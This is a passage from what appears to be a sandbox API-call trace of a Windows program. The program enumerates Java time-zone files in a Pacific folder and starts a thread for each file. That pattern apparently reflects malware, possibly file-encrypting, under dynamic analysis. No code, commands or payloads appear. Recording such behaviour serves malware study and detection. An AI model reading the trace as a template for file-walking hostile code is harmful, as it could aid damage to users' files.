nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Easter", cAlternateFileName="")) returned 1 [0159.230] wcscmp (_String1="Easter", _String2=".") returned 1 [0159.230] wcscmp (_String1="Easter", _String2="..") returned 1 [0159.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x42308a80 [0159.230] wcscpy (in: _Dest=0x42308a80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.230] wcscat (in: _Dest=0x42308a80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.230] wcscat (in: _Dest=0x42308a80, _Source="Easter" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Easter") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Easter" [0159.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22d4 [0159.231] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Efate", cAlternateFileName="")) returned 1 [0159.231] wcscmp (_String1="Efate", _String2=".") returned 1 [0159.231] wcscmp (_String1="Efate", _String2="..") returned 1 [0159.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x42308b00 [0159.231] wcscpy (in: _Dest=0x42308b00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.231] wcscat (in: _Dest=0x42308b00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.231] wcscat (in: _Dest=0x42308b00, _Source="Efate" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Efate") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Efate" [0159.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22ac [0159.232] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Enderbury", cAlternateFileName="ENDERB~1")) returned 1 [0159.232] wcscmp (_String1="Enderbury", _String2=".") returned 1 [0159.232] wcscmp (_String1="Enderbury", _String2="..") returned 1 [0159.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42308b80 [0159.232] wcscpy (in: _Dest=0x42308b80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.232] wcscat (in: _Dest=0x42308b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.232] wcscat (in: _Dest=0x42308b80, _Source="Enderbury" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Enderbury") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Enderbury" [0159.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a0 [0159.233] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fakaofo", cAlternateFileName="")) returned 1 [0159.233] wcscmp (_String1="Fakaofo", _String2=".") returned 1 [0159.233] wcscmp (_String1="Fakaofo", _String2="..") returned 1 [0159.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308c00 [0159.233] wcscpy (in: _Dest=0x42308c00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.233] wcscat (in: _Dest=0x42308c00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.233] wcscat (in: _Dest=0x42308c00, _Source="Fakaofo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Fakaofo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Fakaofo" [0159.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d40 [0159.234] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fiji", cAlternateFileName="")) returned 1 [0159.234] wcscmp (_String1="Fiji", _String2=".") returned 1 [0159.234] wcscmp (_String1="Fiji", _String2="..") returned 1 [0159.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42308c80 [0159.234] wcscpy (in: _Dest=0x42308c80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.234] wcscat (in: _Dest=0x42308c80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.235] wcscat (in: _Dest=0x42308c80, _Source="Fiji" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Fiji") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Fiji" [0159.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c4 [0159.235] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Funafuti", cAlternateFileName="")) returned 1 [0159.235] wcscmp (_String1="Funafuti", _String2=".") returned 1 [0159.235] wcscmp (_String1="Funafuti", _String2="..") returned 1 [0159.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42308d00 [0159.236] wcscpy (in: _Dest=0x42308d00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.236] wcscat (in: _Dest=0x42308d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.236] wcscat (in: _Dest=0x42308d00, _Source="Funafuti" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Funafuti") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Funafuti" [0159.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x271c [0159.236] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Galapagos", cAlternateFileName="GALAPA~1")) returned 1 [0159.236] wcscmp (_String1="Galapagos", _String2=".") returned 1 [0159.236] wcscmp (_String1="Galapagos", _String2="..") returned 1 [0159.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42308d80 [0159.237] wcscpy (in: _Dest=0x42308d80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.237] wcscat (in: _Dest=0x42308d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.237] wcscat (in: _Dest=0x42308d80, _Source="Galapagos" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Galapagos") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Galapagos" [0159.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2720 [0159.237] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gambier", cAlternateFileName="")) returned 1 [0159.238] wcscmp (_String1="Gambier", _String2=".") returned 1 [0159.238] wcscmp (_String1="Gambier", _String2="..") returned 1 [0159.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308e00 [0159.238] wcscpy (in: _Dest=0x42308e00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.238] wcscat (in: _Dest=0x42308e00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.238] wcscat (in: _Dest=0x42308e00, _Source="Gambier" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Gambier") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Gambier" [0159.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2724 [0159.239] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guadalcanal", cAlternateFileName="GUADAL~1")) returned 1 [0159.239] wcscmp (_String1="Guadalcanal", _String2=".") returned 1 [0159.239] wcscmp (_String1="Guadalcanal", _String2="..") returned 1 [0159.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x42308e80 [0159.239] wcscpy (in: _Dest=0x42308e80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.239] wcscat (in: _Dest=0x42308e80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.239] wcscat (in: _Dest=0x42308e80, _Source="Guadalcanal" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Guadalcanal") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Guadalcanal" [0159.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2728 [0159.240] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guam", cAlternateFileName="")) returned 1 [0159.240] wcscmp (_String1="Guam", _String2=".") returned 1 [0159.240] wcscmp (_String1="Guam", _String2="..") returned 1 [0159.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42308f00 [0159.240] wcscpy (in: _Dest=0x42308f00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.240] wcscat (in: _Dest=0x42308f00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.240] wcscat (in: _Dest=0x42308f00, _Source="Guam" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Guam") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Guam" [0159.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x272c [0159.241] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Honolulu", cAlternateFileName="")) returned 1 [0159.241] wcscmp (_String1="Honolulu", _String2=".") returned 1 [0159.241] wcscmp (_String1="Honolulu", _String2="..") returned 1 [0159.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42308f80 [0159.241] wcscpy (in: _Dest=0x42308f80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.241] wcscat (in: _Dest=0x42308f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.241] wcscat (in: _Dest=0x42308f80, _Source="Honolulu" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Honolulu") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Honolulu" [0159.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2730 [0159.242] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Johnston", cAlternateFileName="")) returned 1 [0159.242] wcscmp (_String1="Johnston", _String2=".") returned 1 [0159.242] wcscmp (_String1="Johnston", _String2="..") returned 1 [0159.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42309000 [0159.242] wcscpy (in: _Dest=0x42309000, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.242] wcscat (in: _Dest=0x42309000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.243] wcscat (in: _Dest=0x42309000, _Source="Johnston" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Johnston") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Johnston" [0159.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42309000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2734 [0159.243] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kiritimati", cAlternateFileName="KIRITI~1")) returned 1 [0159.243] wcscmp (_String1="Kiritimati", _String2=".") returned 1 [0159.243] wcscmp (_String1="Kiritimati", _String2="..") returned 1 [0159.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1ce59f30 [0159.243] wcscpy (in: _Dest=0x1ce59f30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.243] wcscat (in: _Dest=0x1ce59f30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.244] wcscat (in: _Dest=0x1ce59f30, _Source="Kiritimati" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kiritimati") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kiritimati" [0159.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce59f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2738 [0159.244] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kosrae", cAlternateFileName="")) returned 1 [0159.244] wcscmp (_String1="Kosrae", _String2=".") returned 1 [0159.244] wcscmp (_String1="Kosrae", _String2="..") returned 1 [0159.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb68f0 [0159.245] wcscpy (in: _Dest=0x1cdb68f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.245] wcscat (in: _Dest=0x1cdb68f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.245] wcscat (in: _Dest=0x1cdb68f0, _Source="Kosrae" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kosrae") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kosrae" [0159.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb68f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x273c [0159.246] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kwajalein", cAlternateFileName="KWAJAL~1")) returned 1 [0159.246] wcscmp (_String1="Kwajalein", _String2=".") returned 1 [0159.246] wcscmp (_String1="Kwajalein", _String2="..") returned 1 [0159.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cdb6970 [0159.246] wcscpy (in: _Dest=0x1cdb6970, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.246] wcscat (in: _Dest=0x1cdb6970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.246] wcscat (in: _Dest=0x1cdb6970, _Source="Kwajalein" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kwajalein") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kwajalein" [0159.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2740 [0159.251] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Majuro", cAlternateFileName="")) returned 1 [0159.251] wcscmp (_String1="Majuro", _String2=".") returned 1 [0159.251] wcscmp (_String1="Majuro", _String2="..") returned 1 [0159.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb69f0 [0159.252] wcscpy (in: _Dest=0x1cdb69f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.252] wcscat (in: _Dest=0x1cdb69f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.252] wcscat (in: _Dest=0x1cdb69f0, _Source="Majuro" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Majuro") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Majuro" [0159.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb69f0, dwCreationFlags=0x0, lpThreadId=0x0 | 